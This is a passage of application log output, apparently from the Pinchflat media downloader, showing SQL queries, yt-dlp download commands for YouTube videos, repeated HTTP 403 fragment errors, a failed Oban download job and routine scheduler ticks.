s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 04:37:21.984 [debug] QUERY OK source="media_profiles" db=0.1ms idle=604.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:37:21.984 [debug] QUERY OK source="media_items" db=0.5ms idle=8.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13020] 04:37:21.985 [debug] QUERY OK source="media_metadata" db=0.0ms idle=3.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13020] 04:37:21.985 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:37:21.986 [debug] QUERY OK source="settings" db=0.0ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:37:21.986 [debug] QUERY OK source="settings" db=0.0ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:37:21.986 [debug] Running yt-dlp command for action: get_downloadable_status 04:37:21.986 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:37:21.986 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:37:21.987 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:37:21.987 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/43/2d/432d895bc7e4f54cc423b886f47c6cee2e4c44dafee39267890b935a0494fad6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 04:37:26.552 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/43/2d/432d895bc7e4f54cc423b886f47c6cee2e4c44dafee39267890b935a0494fad6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 04:37:26.552 [debug] Running yt-dlp command for action: download 04:37:26.553 [debug] QUERY OK source="settings" db=0.1ms idle=1024.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:37:26.553 [debug] QUERY OK source="settings" db=0.0ms idle=1024.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:37:26.553 [debug] QUERY OK source="settings" db=0.0ms idle=1024.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:37:26.553 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/49/3c/493cdaeb7471e5d2104d016ecc651c6c9360e58e9cb5bc9cc7c697c02cb1430c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 04:37:36.039 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/49/3c/493cdaeb7471e5d2104d016ecc651c6c9360e58e9cb5bc9cc7c697c02cb1430c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-18. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-17. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-16. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-15. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-14. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-13. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-12. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-11. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-10. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-9. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-8. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-7. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-6. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-5. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-4. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-3. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-2. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-1. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-0. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 04:37:36.039 [error] yt-dlp download error for media item #13020: "ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-18. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-17. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-16. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-15. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-14. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-13. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-12. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-11. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-10. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-9. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-8. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-7. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-6. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-5. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-4. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-3. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-2. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-1. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-0. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 04:37:36.040 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13020},"id":1733,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":14057324,"event":"job:exception","queue_time":649468,"attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:37:51.380 [info] {"source":"oban","duration":850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:00.547 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:38:21.382 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:51.384 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:00.549 [info] {"source":"oban","duration":363,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:39:21.385 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:51.386 [info] {"source":"oban","duration":887,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:00.549 [info] {"source":"oban","duration":319,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:40:21.388 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:51.389 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:00.550 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:41:21.390 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:51.391 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:00.551 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:42:21.392 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:51.393 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:00.552 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:43:21.393 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:51.395 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:00.553 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:44:21.396 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:51.398 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:00.554 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:45:21.399 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:51.400 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:00.555 [info] {"source":"oban","duration":264,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:46:21.402 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:51.403 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:00.556 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:47:21.404 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:51.405 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:00.557 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:48:21.406 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:51.407 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:00.558 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:49:21.408 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:51.409 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:00.560 [info] {"source":"oban","duration":387,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:50:21.410 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:51.412 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:00.560 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:51:21.413 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:51.415 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:00.561 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:52:21.417 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:51.418 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:00.562 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:53:21.419 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:51.420 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:00.563 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:54:21.422 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:51.423 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:00.564 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:55:21.424 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:51.426 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:00.565 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:56:21.427 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:51.428 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:00.566 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:57:21.429 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:51.430 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:00.567 [info] {"source":"oban","duration":261,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:58:21.431 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:51.432 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:56.485 [info] {"args":{"id":12001},"id":1735,"meta":{},"system_time":1775033936485703980,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:58:56.486 [debug] QUERY OK source="media_items" db=0.3ms idle=1957.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12001] 04:58:56.486 [info] User scripts lifecyle file either not present or is empty. Skipping. 04:58:56.486 [debug] QUERY OK source="sources" db=0.2ms idle=1958.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 04:58:56.487 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1010.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:58:56.487 [debug] QUERY OK source="media_items" db=0.2ms idle=8.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12001] 04:58:56.488 [debug] QUERY OK source="media_metadata" db=0.2ms idle=2.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12001] 04:58:56.489 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:58:56.489 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:58:56.489 [debug] QUERY OK source="settings" db=0.0ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:58:56.490 [debug] Running yt-dlp command for action: get_downloadable_status 04:58:56.490 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:58:56.490 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:58:56.490 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:58:56.491 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j 